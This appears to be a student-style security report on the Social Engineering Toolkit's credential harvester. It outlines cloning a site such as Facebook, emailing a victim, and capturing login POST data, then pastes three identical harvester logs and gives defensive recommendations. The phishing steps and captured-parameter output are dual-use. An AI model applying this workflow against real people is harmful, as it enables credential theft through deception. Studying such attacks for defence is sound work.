Extracting Information with the Social Engineering Toolkit (SET)

Executive Summary:

In this report, we explore the capabilities of the Social Engineering Toolkit (SET) in gathering sensitive information from target systems. By leveraging various attack vectors, SET enables security professionals to assess the vulnerabilities of organizations and individuals. Through this exploration, we highlight the significance of responsible and ethical information gathering practices in cybersecurity.

Introduction:

In today's digital landscape, information is a valuable asset, and its protection is paramount. Understanding potential vulnerabilities and the methods by which adversaries may exploit them is crucial for effective cybersecurity. The Social Engineering Toolkit (SET) serves as a versatile tool for conducting security assessments and penetration testing, with a focus on extracting information from target systems.

Methodology:

- Selection of the Web Attack module in SET
- Choice of Credential Harvester Attack Method
- Cloning of the target website (e.g., Facebook) using the specified URL
- Sending mail to the victim using gmail.
- Monitoring and capturing of POST requests to harvest credentials

[*] WE GOT A HIT! Printing the output:
PARAM: local_storage[Session]=20
PARAM: local_storage[hb_timestamp]=13
PARAM: local_storage[signal_flush_timestamp]=13
PARAM: session_storage[TabId]=6
PARAM: session_storage[sp_pi]=216
PARAM: logtime=0
PARAM: __aaid=0
POSSIBLE USERNAME FIELD FOUND: __user=0
PARAM: __a=1
PARAM: __req=7
PARAM: __hs=19813.BP:DEFAULT.2.0..0.0
PARAM: dpr=1
PARAM: __ccg=GOOD
PARAM: __rev=1012440038
PARAM: __s=:dbjeuf:10rkhu
PARAM: __hsi=7352412283462617554

PARAM:
__dyn=7xe6E5aQ1PyUbFp41twpUnwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG782Cw8G1Qw
5Mx61vw5zwwwi81nE1u83mwaS0zK1swc-0lK3qaw4kwbS1Lw7Jw7zw
PARAM: __csr=
PARAM: lsd=AVr1DYxMr2c
PARAM: jazoest=2931
POSSIBLE PASSWORD FIELD FOUND: __spin_r=1012440038
POSSIBLE PASSWORD FIELD FOUND: __spin_b=trunk
POSSIBLE PASSWORD FIELD FOUND: __spin_t=1711866884
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

[*] WE GOT A HIT! Printing the output:
PARAM: local_storage[Session]=20
PARAM: local_storage[hb_timestamp]=13
PARAM: local_storage[signal_flush_timestamp]=13
PARAM: session_storage[TabId]=6
PARAM: session_storage[sp_pi]=216
PARAM: logtime=0
PARAM: __aaid=0
POSSIBLE USERNAME FIELD FOUND: __user=0
PARAM: __a=1
PARAM: __req=8
PARAM: __hs=19813.BP:DEFAULT.2.0..0.0
PARAM: dpr=1
PARAM: __ccg=GOOD
PARAM: __rev=1012440038
PARAM: __s=:dbjeuf:10rkhu
PARAM: __hsi=7352412283462617554
PARAM:
__dyn=7xe6E5aQ1PyUbFp41twpUnwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG782Cw8G1Qw
5Mx61vw5zwwwi81nE1u83mwaS0zK1swc-0lK3qaw4kwbS1Lw7Jw7zw
PARAM: __csr=
PARAM: lsd=AVr1DYxMr2c
PARAM: jazoest=2931
POSSIBLE PASSWORD FIELD FOUND: __spin_r=1012440038
POSSIBLE PASSWORD FIELD FOUND: __spin_b=trunk
POSSIBLE PASSWORD FIELD FOUND: __spin_t=1711866884
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

[*] WE GOT A HIT! Printing the output:
PARAM: local_storage[Session]=20
PARAM: local_storage[hb_timestamp]=13
PARAM: local_storage[signal_flush_timestamp]=13
PARAM: session_storage[TabId]=6
PARAM: session_storage[sp_pi]=216
PARAM: logtime=0
PARAM: __aaid=0
POSSIBLE USERNAME FIELD FOUND: __user=0
PARAM: __a=1
PARAM: __req=9

PARAM: __hs=19813.BP:DEFAULT.2.0..0.0
PARAM: dpr=1
PARAM: __ccg=GOOD
PARAM: __rev=1012440038
PARAM: __s=:dbjeuf:10rkhu
PARAM: __hsi=7352412283462617554
PARAM:
__dyn=7xe6E5aQ1PyUbFp41twpUnwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG782Cw8G1Qw
5Mx61vw5zwwwi81nE1u83mwaS0zK1swc-0lK3qaw4kwbS1Lw7Jw7zw
PARAM: __csr=
PARAM: lsd=AVr1DYxMr2c
PARAM: jazoest=2931
POSSIBLE PASSWORD FIELD FOUND: __spin_r=1012440038
POSSIBLE PASSWORD FIELD FOUND: __spin_b=trunk
POSSIBLE PASSWORD FIELD FOUND: __spin_t=1711866884
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Recommendations

User Training: Conduct regular training sessions to educate users on recognizing phishing attempts and verifying website authenticity.

Multi-Factor Authentication: Implement MFA for all sensitive accounts to add an extra layer of security beyond passwords.

Security Assessments: Perform routine security assessments and penetration testing to identify and address vulnerabilities.

Email Security: Strengthen email filtering and spam detection to prevent phishing emails from reaching users' inboxes.

Incident Response Plan: Develop and maintain an incident response plan to quickly respond to and mitigate security breaches.

Conclusion

The execution of the Credential Harvester Attack Method underscores the ongoing threat of social engineering in cybersecurity. To mitigate risks, organizations should prioritize user education, implement MFA, conduct regular security assessments, enhance email security, and have a robust incident response plan in place. These measures collectively strengthen defenses against social engineering attacks, safeguarding sensitive information and systems.